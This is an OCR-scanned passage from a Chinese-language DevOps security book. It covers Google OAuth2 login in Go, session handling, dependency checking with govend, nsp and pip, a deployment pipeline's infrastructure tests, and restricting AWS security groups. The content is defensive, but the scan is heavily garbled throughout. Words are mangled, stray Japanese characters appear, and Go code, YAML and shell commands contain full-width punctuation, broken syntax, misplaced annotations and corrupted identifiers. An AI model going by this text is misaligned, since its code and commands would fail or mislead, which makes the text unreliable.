选择将用户重定向到其中一个地址。

三 Go gle APIs

API API Manager Credentials

Create client ID

Application type

• Web application

Android Learn more

Chrome App Learn more

iOS Learn more

PlayStation 4
Other

Name

Web client 3

Restrictions
Enter Jav^crlpt origins, redirect URJo. or both

Authorized JavaScript origins
For u$e with requests from a browser This 岭 the ongm URI of iMcHent apphcation It cartt contain a wildcard 
(http://*ekampte.com) or a 网h (http //exnmple.com/subdir) If you're using a nonstandard port, you must include 
It In thv'orlgto URI.

http://lnvolcer.com x

httpWwv^.exafrtple com

Authorized redirect URIs
For use with requests from a web servet This Is the path in your appllcatiori ihai users die redirected to after they 
have autrwnticmed wtth Google. The path will be appended with the atrthortzaiion code for access- Must have a 
protocol C®mioi contain URL fragments or relative paiha. Cannot be a pubSc IP address

h即;〃 invorcer.com/oauthZcaHback x

ht旧〃 w 胃腺 exwiple com/oaulh2cal8iack

Create Cancel

图3.14 ***.google.com的Web控制台会生成在应用中使用的客户端ID和密钥。

完成创建步骤后,控制台上将会显示一个客户端ID和一个密钥。接下来,你 

可以在发票应用的代码中创建一个配置,并在Google的IdP中使用这些凭证信息。 

Go有一个OAuth2包:golang.org/x/oauth2,你可以在实现的时候使用它。代码清单3.24 
展示了 0Auth2配置,它用到了与Google交互的凭证信息及URL〇
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代码清单3.24在发票应用中配置与Google集成的OAuth

var oauthCfg = &oauth2.Conf ig{
ClientID： ', *** . apps . googl euser content. com”,
ClientSecret： "***",
RedirectURL： "http：//***.com/oauth2callback",
Scopes： []string{

I获取的凭证信息。

I ー」返回给应用的地址。

"https：//www.***.com/auth/userinfo.profile" 
), 
Endpoint： oauth2.Endpoint{

］请求信息的类型。

AuthURL：

TokenURL： 
}, h

Google的OAuth2终端节点。

"https：//***.google.com/o/oauth2/auth", 
"https：//***.google.com/o/oauth2/token"r

配置就绪后,接下来就要实现OAuth流程的第一步，包括将用户转给Google 
并要求他们进行身份验证。在发票应用中，给主页加上验证用户的链接。

代码清单3.25在发票应用的主页中加上指向身份验证终端节点的链接

<pxa href ="/authenticate">Authenticate with Google</ax/p>

这个链接只会将用户转到ー个位于/authenticate的新终端节点。这个终端节点 

使用正确的参数来创建一个重定向URL ,并将用户重定向到Google〇身份验证终 

端节点的代码如代码清单3.26所示。

代码清单3.26 _创建重定向到Google的oauth查询

func getAuthenticate(w http.Responsewriter, r *http.Request) {
----- > url ：= oauthCfg.AuthCodeURL(makeCSRFToken())

http.Redirect(w, r, url, http.StatusTemporaryRedirect) < 1 
圧中ま.]わ,IDI 重定向用戶」

生成重疋向URLo

应用和IdP之间来回重定向也需要使用CSRF令牌来防范CSRF攻击。OAuth2 
流程用到的令牌类型和之前保护表单提交用到的令牌类型是ー样的。

发票应用返回的重定向URし将之前定义的配置参数传给!dPo URL见链接3.15, 
并且设置了下面这些查询字符串参数:

• client_id=* * *.apps.googleusercontent.com
• redirect_uri=http://***.com/oauthzcallback
• response_type=code
• scope=https : //www. *** . com/auth/userinfo .profile
• state=<CSRF Token>
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对于IdP，用户会看到登录提示,要求他们同意登录操作。如果他们同意了， 

Google会将他们重定向到发票应用,并且将oauth授权码放在重定向URL的查询 

字符串中。

我们回到发票应用,你要增加一个终端节点/oauth2callback来处理IdP返回的 

重定向请求。在处理这个请求的时候,首先要验证CSRF令牌,然后从URL的参数 

中提取oauth授权码。

这个授权码被用于交换API令牌，而令牌将被用来直接从Google获取关于用 

户的信息（使用代码清单3.24中配置的TokenURL地址）。现在,应用可以确保用 

户能够正确地通过身份认证。Google提供的信息可以被应用用来识别用户，并可能 

据此给用户授予各种权限。代码清单3.27实现了使用API令牌获取用户信息的那部 

分工作流。

代码清单3.27回调Google API获取用户信息

func getOAuth2Callback(w http.Responsewriter, r *http.Request) {
if ! checkCSRFToken (r. FormValue ( "state•')) { ! 检杳 CSRF 令牌。

w.WriteHeader(http.StatusNotAcceptable) 
w.Write ( [] byte (nCSRF verification failed. '•)) 
return 

} 
token, _ := oauthCfg.Exchange(oauth2.NoContext,

r. FormValue (•' code '•))
client ：= oauthCfg.Client(oauth2.NoContext, token) 
resp, ：= client.Get(

"https：//www.***.com/oauth2/vl/userinfo?alt=j son') 
buf ：= make([]byte, 1024) 
resp. Body. Read (buf) 通过 Google AP! 获取
w. Write ( [] byte (fmt.Sprintf ( '<htmlxbody> 用户信息。

You are now authenticated as %s 
</body></html>", string(buf)))) 

}

I_ 用授权码交换API令牌。

我们对OpenlD Connect/OAuth2的实现过程只是简要地介绍了一些细节,但你 

应该明白了其思路：通过多次HTTP重定向,应用可以依靠第三方对用户进行身份 

验证。使用IdP是保护现代Web应用最有效的手段之一,因为凭证的处理和保护完 

全交给了 !dP〇应用不再需要防止暴力攻击，也不需要实现密码强度检查,更不需 

要支持多因子身份验证,这些都交给IdP去处理了。你应该始终在应用中尝试使用 

IdP,而不是自己实现密码管理。

OpenlD Connect保护了身份认证阶段的安全,但应用还要负责创建和管理会话。 

我们马上来讨论这个话题。
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3.3.4 会话和Cookie的安全性
在使用HTTP基本身份认证的时候,浏览器的每次请求都会带上Authoriza

tion 标头一起发送。 应用在每次收到用户的请求时，都可以对用户名和密码进行 

校验。你不需要会话,因为身份验证一直在持续地进行。

如果应用依赖IdP,每一次用户请求都需要一次如此复杂的。uath舞蹈，那么 

应用是吃不消的。应用必须在用户通过身份验证后马上创建一个会话,并在收到新 

的请求时检查会话的合法性。

会话可以是有状态的,也可以是无状态的:

•有状态的会话需要在数据库中保存ー个会话ID，并且检查用户是不是在每次 

请求中都发送了会话ID。在处理请求之前，应用会对数据库中保存的会话状 

态进行验证。

•无状态的会话不会在服务端保存任何数据，而只是简单地检查用户是否拥有 

可信的和最新的会话cookie。对于高性能应用来说,无状态的会话带来的好 

处是不需要每次请求都往返于数据库。

无状态的会话带来了性能优势，但缺少了在服务端销毁会话的能力,因为服务 

器不知道哪些会话是活跃的,而哪些不是。对于有状态的会话，销毁ー个会话就和 

删除数据库记录一样简单,一旦会话被销毁，就要强制用户重新进行身份验证。

当恶意用户滥用你的应用时，销毁会话通常十分关键，并且还能阻止心怀不满 

的雇员在解约后继续频繁地访问应用。根据应用仔细斟酌你需要哪种会话类型,并 

尽量使用有状态的会话。

3.3.5 测试身份验证

对于外部测试来说，身份验证可能是少数几个较为复杂的领域之一。像ZAP这 

样的漏洞扫描器,可以通过扫描网站来发现缺少必要身份验证的页面和资源,但这 

种扫描效果很有限,而且无法确定OpenlD Connect这样的流程的正确性。

除了依靠外部扫描器，开发人员还应该编写单元测试来对应用的身份验证层进 

行验证。QA团队应该将身份验证流程作为应用验证的一部分来执行。靠人カ测试 

的身份验证流程不如自动化测试高效，但在OpenlD Connect、SAML及其他身份验 

证层得到扫描器支持之前，这是最好的方法了。

现在，发票应用已经相当安全了，但它的安全性严重依赖外部库，而这些库未 

来有可能被破坏。在结束WebAppSec这一章之前，我们来讨论一下让依赖保持与时 

俱进的技术。
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3.4依赖管理
每ー种编程语言都有不同的管理第三方代码的方法。大多数语言会提供ー个中 

央的包管理仓库,开发者可以把他们的代码上传到这里,也可以从这里获得别人的 

代码（Python 有 PyPI, Node.JS 有 npm, Ruby 有 RubyGems, Per! 有 CPAN, Rust 
有Cargo,等等）。在这一点上,G。有些与众不同:它直接从依赖的源代码仓库中导 

入和获取依赖。例如，发票应用导入了一个名为github.com/gorilla/mux （用于简化 

HTTP请求的路由）的包,这个包从它的原始代码仓库下载（链接3.16）,而不是从 

包仓库下载。

无论用哪种方法管理依赖,这个过程都有下面两个缺点：

・可用性损失一依赖的源可能下线，也可能被开发者删除，或者尝试构建应 

用的服务器无法访问互联网。

•完整性损失一源代码可能被替换成了恶意代码。

因此,开发人员通常会将依赖锁定为特定版本，有时还会下载ー份依赖的副本， 

并和项目存放在一起。这种实践被称为vendoring,其优势在于不用互联网连接就可 

以完成代码构建,因为所有的依赖都存储在本地。

依赖锁定和vendoring解决了可用性和完整性问题，但却迫使应用要定期更新 

本地的副本。如果没有合适的工具,开发人员常常会忘记更新，这将导致应用依赖 

过时代码，从而暴露出漏洞。

发票应用是ー个极度简化的例子，尽管很小却也依赖了一些包，而这些包最好 

要及时更新。在这ー节里，我们将首先讨论管理发票应用依赖的最佳方法,然后再 

探讨其他语言的解决方法。

3.4.1 Golang vendoring
有一些工具可以帮助管理Go的依赖:dep （链接3.17）、Godep （链接3.18）、 

Glide（链接3.19）、Govend（链接3.20）,或者直接使用Go自带的标准vendoring支持。 

这些工具能帮助开发人员获取依赖的副本,并放到应用仓库中的一个名为vendor/ 
的文件夹下。本节将使用govend来提供发票应用的依赖，并在CircleCI中检查这 

些依赖的状态。

代码清单3.28在发票应用仓库中通过govend初始化Go vendoring

$ go get github.com/govend/govend
$ govend -1
$ git add vendor.yml vendor/
$ git commit -m "Vendoring update"
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依赖列表将被写到vendor.yml文件中,一起写入的还有每个依赖的提交哈希 ， 

这样可以轻松地找到提供的是依赖的哪个版本。发票应用的vendor.yml示例见代码 

清单3.29。

代码清单3.29列出vendor.yml中提供的依赖及它们的提交哈希

vendors：

- path： github.com/gorilla/mux
rev： 9fa818a44c2bf1396al7f9d5a3c0f6dd39d2ff8e

- path： github.com/gorilla/securecookie
rev： ff356348fフ4133a59d3e93aa24b5b4551b6fe90d

- path： github.com/gorilla/sessions
rev： 56ba4b0allda87516629a57408a5f7e4c8ea7b0b

- path： github.com/jinzhu/gorm
rev： caa792644ce60fd7b429e0616afbdbccdf011be2

- path： golang.org/x/oauth2
rev： 65a8d08c6292395d47053bel0b3c5e91960def76

在vendoring完成初始化之后，让依赖保持与时俱进就成了首要任务。govend 
-u会获取依赖的最新版本,并更新到vendor.yml文件中。但这还需要手工操作， 

并且你极有可能会遗忘。

更新依赖应该始终被当成一次代码变更来对待，并且由开发人员来执行;但是, 

你可以在CircleCI的配置中加上几条命令，通过CI检查依赖的状态。

代码清单3.30在CircleCI里调用govend -n,测试依赖的状态

-run：

name： Test dependencies are up to date
command： |
GOPATH= { GOPATH_HEAD},•;

cd ${GOPATH_BASE}/${CIRCLE_PROJECT_REPONAME} && \
进入源代

govend -u && \ 
git diff -quiet 
)

1检查是否有变化。

更新依赖。

如果有可用的新版本依赖，govend -u会在CI执行的过程中发现它们，因 

为存在待定的变更，触发git diff会以返回码1退出。非零的返回码将导致 

CircleCI构建失败,并将问题通知给开发人员。这种方法和本章开头使用的基线扫 

描很像，每次应用（代码）在发生变更的时候都可以检查是否存在过时的依赖。

这种方法有一个缺点，如果应用（代码）没有发生变更，检测就不会进行。这对 

于处在维护模式的软件来说是个问题,它们好几个月オ会发生一次变更。在第4章中, 

我们将讨论强制应用和基础设施定期重建的技术，它们将有助于解决这个问题。
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3.4.2 Node.js的包管理
Node.js采用的是另一种不同的依赖管理机制,它依赖的是名为npm (Node 

Package Manager)的包管理系统。Node.js应用将依赖定义在package.json文件中， 

这个文件同样可以锁定依赖版本。

Node包管理器

npm是由Node.js的生态系统发展而来的，但是可以用于任何JavaScript 
应用 即便是没有使用Node.js，前端开发人员通常也会使用npm来管理 

JavaScript 依赖〇

和G。ー样，有好几种工具可以管理Node.js依赖，但是它们却用不同的方式来 

检查存在漏洞的包。Node安全平台(Node Security Platfbrm)提供了 nsp，它可以 

检查项目的安全状态，nsp使用了多套已知安全漏洞的数据库来查找过时的及暴露 

出安全问题的包。代码清单3.31是对一个大型Node.js项目上的nsp执行的结果展示。

代码清单3.31对Node.js项目执行nsp的输出结果实例

$ nsp check
(+) 25 vulnerabilities found
I I I

| Quoteless Attributes in Templates can lead to ... |
1 1 1

1 Name
1 1
1 handlebars

1 Installed
1 1
1 2.0.0 1

1 Vulnerable
1 1
1 <4.0.0 1
I I

1 Patched
1 1
1 >=4.0.0 1
I I

1 Path 1 fxa-content-server@0.58.1 > bower@l.7.1 > hancL. |
1 I

1 More Info
I 1
1 https：//***.io/advisories/61 |

上面的输出结果告诉我们，项目中使用了一个叫作handlebars的依赖,它 

的版本设置成了 2.0.0。但nsp知道这个早于4.0.0的包的所有版本都存在内容注入 

攻击的漏洞，并建议该项目应该将handlebars升级到更新的版本。

因为nsp是一个命令行工具，所以它可以很轻松地集成到CI平台中。在使用 

nsp时，开发者仍然需要手动更新依赖，但是其他ー些像Greenkeeper.io这样的平台 

会在有可用更新的时候直接向项目代码仓库发起拉取请求。这是在项目长时间没有 



3.4依赖管理 79

变更发生时防止依赖过时的ー种方法。最终,同时使用nsp和Greenkeeper.io是保持 

Node.JS项目与时俱进的ー个不错的方式。

3.4.3 Python requirements
Python使用的包管理系统和Node.js类似,叫作pip,它配置依赖的文件名为 

requirements.txto开发者可以锁定这个文件中的依赖版本，这种方法常常被用来处 

理包的版本之间出现冲突的情况。

pip命令行工具提供了一个检测过时依赖的选项,其名字十分贴切，就叫作 

-outdated,它可以用来检查项目依赖的状态。代码清单3.32告诉我们在这个给 

定的项目中使用的一些包的版本，应该要更新它的requirements。同样地，这种检查 

可以用在CI中来跟踪过时的依赖。

代码清单3.32 使用pip ーーoutdated 跟踪 Python应用的依赖

$ pip list --outdated
boto3 (1.3.0) - Latest： 1.3.1 [wheel]
botocore (1.4.6) - Latest： 1.4.28 [wheel]
cffi (1.5.2) - Latest： 1.6.0 [sdist]
cryptography (1.3.1) - Latest： 1.4 [sdist]
python-dateutil (2.5.1) - Latest： 2.5.3 [wheel]
ruamel.yaml (0.11.7) - Latest： 0.11.11 [wheel]
setuptools (20.3.1) - Latest： 23.0.0 [wheel]

然而，pip无法像nsp警告存在漏洞的包那样告诉我们，在过时的版本中是否存 

在安全问题。为此,链接3.21和链接3.22这样的在线服务提供了判断Python应用 

中是否存在漏洞的方法。图3.15展示了 requiresj。针对ー个Python应用的检查执行 

界面,这个项目使用了存在漏洞的依赖。

〇 mozilla/addons-server
rwulr»m«nt5 insecMne ShowgQg 色 urte

Heads up! Click on Q to see the changelog of a given package

requirements/compiled.txt

Package

/ Jlnja2

■ lx ml

管 M2Cryp(o

* MarkupSafe

/ Pillow

ヤ simplejson

图3.15 requires.io可以跟踪Python项目中存在漏洞的依赖。



80 3第一层安全性：保护Web应用

3.5本章小结
・ 使用ZAP的安全测试可以在CI上自动执行,并将安全反馈立即提供给开发 

人员。

• 跨站脚本攻击会将恶意代码注入Web应用中,可以使用字符转义和内容安全 

策略来阻止。

• 跨站请求伪造攻击会滥用网站之间的链接，应该使用CSRF令牌阻止。

• 点击劫持是滥用圧rame的结果，可以通过CSP和X-Frame-Options标头 

来阻止。

• HTTP基本身份认证提供了一种简单的方法对用户进行身份认证,但是却不 

能在传输过程中保护凭证信息的机密性。

• Web应用应该尽可能通过身份提供商来对用户进行身份验证,以避免在本地 

存储密码。

«编程语言提供了保持应用与时俱进的机制，并可以集成到CI测试之中。



第二层安全性: 
保护云基祂设施

本章内容包括

・ 在持续交付中对基础设施进行自动化安全测试

・ 通过安全组来限制对基础设施组件的网络访问

・ 在不牺牲安全性的情况下，通过SSH开放管 

理员级访问

・ 严格加强对发票应用数据库的访问控制

在第2章中，为托管发票应用而构建的环境存在着一些安全问题。在第3章中, 

应用层的安全性得到了修正,你也学会了测试驱动安全是如何将测试直接集成到CI 
流水线之中的。你用到了像CSP这样的浏览器安全技术,还有像。penlD Connect 
这样的身份验证协议,以及像CSRF令牌这样的编程技术,解决了应用自身的漏洞。 

在第4章我们将继续“保护发票应用”的旅程，这一章将深入到基础设施层，重点 

关注如何增强服务的网络、服务器和数据库的安全控制。我们将继续应用TDS原则, 

在流水线中增加安全测试,这ー次是在持续交付这个层级。

在第2章的结尾处，执行的安全审计列出了我们现在要修正的问题 ：

・ 首先,要限制对数据库的网络访问,在初始设置时,数据库完全暴露给了互 

联网。现在，只有发票应用オ需要访问数据库,你将使用Amazon的安全组 

来更好地实现网络流量过滤。

• 运维人员通常需要访问基础设施组件来调试复杂的问题。我们路线图上的第 
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二个要点就是要构建被称为SSH堡垒机的安全入口，让团队在不牺牲安全性 

的前提下连接数据库和服务器。你将使用多因子验证和健壮的密码协议堡垒 

机来进行加固。

• 最后，我们回到数据库的自身配置,讨论不用数据库管理员账户就可以访问 

数据模式的方式。你为运维人员创建的是管理员账户，为不能访问敏感信息 

的开发人员创建的是只读账户，为应用分配的是有足够操作权限的读写账户， 

而不是完全的管理员账户。

在开始增强基础设施安全性之前，我先在流水线中引入ー个新的组件，它被设 

计用来对基础设施执行安全测试，并在全部测试都通过后触发发票应用的部署。这 

个新的组件叫作“部署器”，你的第一个任务就是把它集成到基础设施中。

4.1保护并测试云基础设施:部署器

目前已经实现的流水线生成了一个托管在Docker Hub上的容器，这个容器经过 

了全面的测试，并且为生产环境的发布做好了准备。在部署这个容器之前，你还需 

要验证基础设施的安全状态,并确保没有做让控制失效的手动变更。现在所引入的 

部署器应用的任务就是用来执行安全检查的,并在所有测试通过后触发应用的部署。 

图4.1概括了 CD流水线的四个步骤:

I,应用容器被推送到容器仓库。

2 .容器仓库调用由部署器托管的webhook URL,表明应用容器的新版本已经 

做好了部署的准备。

3 .部署器对基础设施的各个部分进行ー系列测试。

4 .如果测试通过，EB平台会得到指令，将新的应用容器部署到基础设施中的 

EC2实例上,真正地将发票应用的环境更新到应用的最新版本。

部署器的源代码可以从链接4.1获取（它包括了本章中你要实现的最终脚本和 

配置）。部署器是一些流行的流水线平台的最简实现,比如Jenkins （链接4.2）或 

Concourse （链接4.3）。这些平台的设计能应付复杂的部署流水线，但也会增加使用 

的难度。配置Jenkins或Concourse来处理发票应用的CD流水线不属于本书讨论的 

范围。相比之下,我们实现的部署器提供了一个简单的替代品，它可以把TDS集成 

到CD流水线中。
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图4.1发布到Docker Hub (1)的容器触发通知并发送给开发人员(2)。执行测试以校验基础 
设施的安全性(3),在所有测试通过后部署容器(4)。

4.1.1 设置部署器

部署器是ー个G。语言小应用,它有一个公开的HTTP终端节点,用来接收 

Docker Hub调用的webhook。它不需要数据库，只需要一个EC2实例和一个负载均 

衡器。这套基础设施甚至比运行在EB里的发票应用还要简单，所以我们略过了它 

的安装步骤。如果你想在测试环境中运行自己的实例,部署器的代码仓库提供了一 

个名为create_ebs_env. sh的脚本，可以在AWS免费套餐中自动创建一个EB 
环境。代码清单4.1展示了如何运行这个脚本。

代码清单4.1在AWS EB中自动安装部署器

$ ./create ebs_env.sh
Creating EBS application deployer201608090943
default vpc is vpc-c3a636a4
ElasticBeanTalk application created
API environment e-3eirqeiqqm is being created
make_bucket： s3://deployer201608090943/
upload： ./app-version.json to s3：//deployer201608090943/app-version.json
waiting for environment..............................................
Environment is being deployed. Public endpoint is http：//***

mdvsuts2jw.us-east-1.elasticbeanstalk.com

你可以通过查询部署器的/ version 终端节点来检查安装是否完成。
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代码清单4.2终端节点返回带有版本信息的JSON文档

$ curl \
http：//***,mdvsuts2jw.us-east-1.elasticbeanstalk.com/__ version__
(
"source"： "https：//***.com/Securing-DevOps/deployer",
"version"： "20160522.0-ea0ae7b",
"commit": nea0ae7blfaabd4e511dl6d75142d97c683d64646",
"build"： "https：//***.com/gh/Securing-DevOps/deployer/"

4.1.2 配置Docker Hub和部署器之间的通知
部署器暴露了一个单独的终端节点:POST /dockerhub,当新版本的发票应用做 

好部署准备时，它可以接收来自Docker Hub的webhook通知。webhook通知对应 

的是图4.1中的步骤（2）〇在链接4.4上，部署器的公开终端节点添加到了发票应 

用仓库的Webhooks选项卡中,Docker Hub能自动地向部署器发送通知。图4.2展 

示了创建webhook的Web界面截图。

PUBLIC REPOSITORY

securingdevops/invoicer ☆
Last pushed 16 days ago

Rep。!n(o Tags Caiiaborators Webhooks Saltings

Workflows

TRIGGS EVENT

Image Pushed
httpjM0ployer-api^m5guadp2e.us-sast-1 .elasticbeanstalkx

When an image 編 pushed to this repo, 
your wodiftows wH kick ofi based on 
you, cpodted wobhooks i nan? Mare

Saw)

图4.2将部署器的公开终端节点URL “/dockerhub”添加到链接4.4上的发票应用仓库的Webhooks 

选项卡中，这样就创建了一个webhook。

一旦接收到webhook,部署器就会调用Docker Hub对通知进行身份验证。这次 

回调将阻止第三方发送的伪造通知触发部署。如果Docker Hub通过了通知的身份验 

证（返回HTTP 200 OK给回调请求），部署器即可以转入步骤（3）,开始执行一套 

测试基础环境的脚本。
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4.1.3 对基础设施执行测试

在部署过程中执行测试脚本是部署器的主要目的。这些脚本放在部署器代码仓 

库中的deploymentTests文件夹下面。

代码清单4.3 deplover执行的测试脚本

dep1oyer/deploymentTests/
1— 1-echotest.sh

现在这个目录中只有一个测试脚本。这是ー个简单的bash脚本,只有一条 

echo命令,如代码清单4.4所示,它用来验证设置是否生效。随着本章内容的逐 

步展开,我们将继续添加更多脚本。

代码清单4.4 echotest脚本

#!/usr/bin/env sh
echo This is a test script that should always return successfully

当部署器接收到来自Docker Hub的通知时,就会执行echotest脚本。你可 

以通过触发发票应用的Circle。任务的一次重构来进行验证，该任务会上传ー个容 

器到Docker Hub上（步骤（1））,接着触发部署器的通知（步骤（2））,然后执行脚 

本并在日志中展示输出结果（步骤（3））。代码清单4.5展示了一段从EB中提取的 

日志示例，这段日志证明执行是成功的。

代码清单4.5展示echotest脚本执行的部署器日志示例

2016/07/25 03:12:34 Received webhook notification

2016/07/25 03:12：34 Verified notification authenticity

2016/07/25 03:12:34 Executing test /app/deploymentTests/1-echotest.sh

2016/07/25 03：12：34 Test /app/deploymentTests/1-echotest.sh succeeded： This
is a test script that should always return successfully

部署器的代码会检查该脚本的返回码。如果脚本返回0,则认为是成功的。其 

他任何返回值都会让部署停下来。以echotest脚本为例，echo命令返回0,则 

允许部署器进入步骤（4）并更新应用。

4.1.4更新发票应用的环境
前一章中使用了 AWS命令行工具来执行update-environment命令。现在需要部 
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署器来执行这个操作，并且使用AWS Go SDK,将该操作集成到部署器应用的代码 

里。代码清单4.6展示了部署器的代码是如何调用update-environment操作的。

代码清单4.6将发票应用部署到EB的Go代码

在托管发票应用的分
* ~ 1ハ, 区中创建API会话。func deploy() {

svc ：= elasticbeanstalk.New(
session.New()f -----------
&aws.Config{Region: aws.String("us-east-1")}, 

)
设置参数,说明哪个 
环境应该被更新。

params ：= &elasticbeanstalk.UpdateEnvironmentInput{
ApplicationName： aws.String(Minvoicer201605211320"),  
Envi ronmen11d： aws.String("e-curu6awket"),
VersionLabel： aws.String("invoicer-api"), 

) 
resp, err ：= svc.UpdateEnvironment (params) v---- ! ム丄山

if err != nil { 触发 EB 更新。
log.Printin(err) 1
return 

} 
log.Printin("Deploying EBS application：", params) 

)

当所有测试都通过后,deploy 〇函数会被调用。执行该函数需要AWS API的 

访问权限，可以通过设置在 AWS_ACCESS_KEY_ID 和 AWS SECRET_ACCESS_KEY 
中的访问密钥来授予部署器访问权限(我们将在第6章讨论另ー种授予访问权限的 

方法，它不需要人工生成凭证)。

部署器的设置到此结束，它完成了 CD流水线的自动化和基础设施层TDS的 

实现。部署器现在还没有任何有意义的测试,但是随着对基础设施各个层的保护, 

会有测试不断被加入其中。在下一节里，我们将开始使用AWS安全组来限制网络 

访问。

4.2限制网络访问
我们在第2章中构建的环境的网络安全性很差。在这ー节，我们将回顾发票应 

用的安全组,确保它们正确地限制了网络访问。

! 可从链接4.5获取，AWS SDK可以轻松地将AWS功能集成到Go程序中。Java、Python和大多数主 
流语言都有类似的库。
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图4.3回顾了第2章中提到的三层架构,并标明了用来保护每ー层的安全组。 

要加强网络安全性,你需要对每个安全组进行配置,并只接受来自前面那个安全 

组的连接：

・ 负载均衡器应该在443端口上接受来自整个互联网的连接。

• 发票应用EC2实例应该在80端口上接受来自负载均衡器的连接。

• RDS数据库应该在5432端口上接受来自发票应用的连接。

图4.3在发票应用架构中，其三层中的每ー层都由自身的安全组来保护。

在传统基础设施中，我们可能会通过防火墙规则来实现这些限制，这些规则用 

到了每台服务器的IP地址。但现在我们已经使用了云，而且你可能也注意到了，到 

目前为止,整个基础设施的设置和IP地址完全无关。实际上,我们对基础设施的物 

理表示浑然不知,我们甚至都不知道服务于应用的虚拟机有多少，更别提物理服务 

器的数量了。

laaS带来了这种可能性,即在物理关注点完全被抽象的层次上思考基础设施和 

服务。我们站在了更高的层次上，授权给安全组让它们互相访问，而不是定义更底 

层的网络策略来允许ー些!?地址互相访问。

安全组是一个受保护的区域，出入这个区域的流量都要接受检查:是否具有相 

应的权限，就像防火墙ー样，但是安全组要更灵活ー些。安全组背后的思路是管理 

安全组之间的访问控制，而不是管理实例之间或者IP地址之间的访问控制。安全组 

允许运维人员增加、销毁及修改基础设施中的实例，而不用修改安全组中的规则。 

基础设施的物理形态不会影响安全策略，相比于与基础设施网络地址牢牢捆绑在ー 

起的传统防火墙,这是巨大的进步。

从理论上来说，安全组中可以包含的组件数量是没有限制的。单个组件,例如 

EC2实例，可以属于一个或多个安全组。

4.2.1测试安全组
在开始实现之前，我们先来谈谈测试。图4.3展示了三个发票应用安全组的网络 

策略的高层视图。你需要一个工具,将安全组和一份单独维护的参照文档的内容进 
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行对比,来对该策略进行测试。pineapple是ー个用Go编写的网络策略检查器， 

它提供了执行评估所需的基本功能。这个工具可以在链接4.6中找到,可以使用g。

get命令安装，如代码清单4.7所示。

代码清单4.7在本地机器上安装pineapple

$ go get github.com/jvehent/pineapple 
$ $GOPATH/bin/pineapple -V 
20160808.0-8d430b0

pineapple会校验AWS中的网络策略实现。将图4.3中描述的网络策略转换 

成pineapple的YAML语法,你就可以校验实现了。代码清单4.8展示了描述发 

票应用网络策略配置的规则部分。

代码清单4.8用于pineapple测试的发票应用网络策略的YAML版本

rules：

- src： 0.0.0.0/0 
dst： load-balancer 
dport： 80

- src： load-balancer 
dst： application 
dport： 80

- src： application 
dst： database 
dport： 5432

规则一允许流量从互联网去向 
负载均衡器。

规则二允许流量从负载均衡器 
去向发票应用。

规则三允许流量从发票应用去 
向数据库。

这些规则很好理解。你也许注意到了它们并没有直接引用安全组的ID，因为这 

些ID会在基础设施销毁并重建的过程中发生变化。相反地，pineapple配置使用 

定义在组件部分的标签来获取每ー层的安全组列表。代码清单4.9展示了使用这些 

标签的负载均衡器、应用和数据库定义。
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代码清单4.9使用标签获取基础设施蛆件的安全组

components：

- name： load-balancer
type： elb
tag：

key： elasticbeanstalk：environment-name 
value： invoicer-api

- name： application
type： ec2
tag：

key： elasticbeanstalk：environment-name 
value： invoicer-api

ELB和EC2实例由它们 
的EB标签来确定。

- name： database
type： rds
tag：

key： environment-name 
value: invoicer-api

RDS数据库由使用它的 
环境名确定。

和往常一样,在部署器中执行测试是你的目标。要达到这个目标,在部署测试 

中添加一个新脚本，使用代码清单4.9中的配置调用pineapple。将脚本命名为 

securitygroup.sh，将代码清单4.10的内容填到文件中。另外，确保将AWS区域和账 

户设置成你的账户对应的值,这在pineapple的README中有说明。

代码清单4.10 deployer执行pineapple对安全组进行测试

#!/bin/bash
go get -u github.com/jvehent/pineapple
$GOPATH/bin/pineapple -c /app/invoicer_sg_tests.yaml

将这个测试推送到生产环境基础设施,并发起发票应用的重新构建。代码清单 

4.11展示的是部署器的日志,其中显示了 pineapple执行的输出。

代码清单4.11测试输出显示对数据库规则的检查失败了

2016/08/15 01：15 building map of security groups for all 3 components
2016/08/15 01:15 awseb-e-c-AWSEBLoa- 1VXVTQLSGGMG5matches tags 

elasticbeanstalk：environment-name：invoicer-api
2016/08/15 01：15 ni-7bdad5fcn matches tags elasticbeanstalk：environment- 

name：invoicer-api
2016/08/15 01：15 Marn：aws：rds：us-east-l：9：db：invoicer201605211320" matches 

tags environment-name：invoicer-api
2016/08/15 01:15 rule 0 between "0.0.0.0/0" and "load-balancer" was found
2016/08/15 01:15 rule 1 between "load-balancer" and "application" was found
2016/08/15 01:15 FAILURE： rule 2 between "application" and "database" was NOT 

found
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正如预料的那样,测试失败了,这是因为缺少了应用和数据库之间的规则。你 

可能能回想起来,从第2章开始,我们就把数据的安全组开放给了整个互联网,而 

不是只开放给发票应用的EC2实例。这就是失败的原因，你必须重新配置数据库的 

安全组,让其遵守网络策略。

4.2.2开放安全组之间的访问权限
要修改数据库安全组的访问控制策略，你需要知道：数据库和发票应用各自 

EC2 实例的安全组 ID (SGID, Security Group ID) =
数据库的SGID可以使用AWS命令行工具的describe-db-instances调 

用来获取，该调用会返回一份JSON文档，你可以用jq来解析。

代码清单4.12使用AWS命令行工具获取RDS数据库的SGID

$ aws rds describe-db-instances --db-instance-identifier invoicer201605211320 | 
jq -r '.DBInstances[0].VpcSecurityGroups[0].VpcSecurityGroupId'

sg-35ca6d4e

获取发票应用EC2实例的SGID会稍微复杂ー点，因为这些信息深藏在EB里。 

你先要获取EB环境的ID,然后是实例ID，最后オ是SGID»代码清单4.13展示了 

完整的三步操作。

代码清单4.13通过EB逐步获取实例的SGID

$ aws elasticbeanstalk describe-environments \
--environment-names invoicer-api | \ 
jq -r '.Environments[0].EnvironmentId' 
e-curu6awket

$ aws elasticbeanstalk describe-environment-resources \
--environment-id e-curu6awket | \
jq -r '.EnvironmentResources.Instances[0].Id' 
i-7bdad5fc

$ aws ec2 describe-instances --instance-ids i-7bdad5fc | \
jq -r '.Reservations[0].Instances[0].SecurityGroups[0].Groupld' 
sg-6ec86fl5

这组命令给了你更新安全组所需的信息:你要允许SGID sg-6ec86fl5连接 

SGID sg-35ca6d4e的PostgreSQL端口 5432。执行代码清单4.14中的命令来完 

成操作。



4.3搭建安全入口 91

代码清单4.14将RDS安全组开放给EC2安全组

aws ec2 authorize-security-group-ingress
--group-id sg-35ca6d4e V--------------- RDS安全组ID。

--source-group sg-6ec86f15 
--protocol tcp --port 5432

v----- 1 EC2安全组!Do

♦ I允许访问PostgreSQL端口。

你还需要删除允许任何人连接数据的规则,它们现在已经没有用了。

代码清单4.15移除允许任何人连接数据库的RDS的规则

$ aws ec2 revoke-security-group-ingress \ 
--group-id sg-35ca6d4e \
- -protocol tcp \
- -port 5432 \
- -cidr 0.0.0.0/0

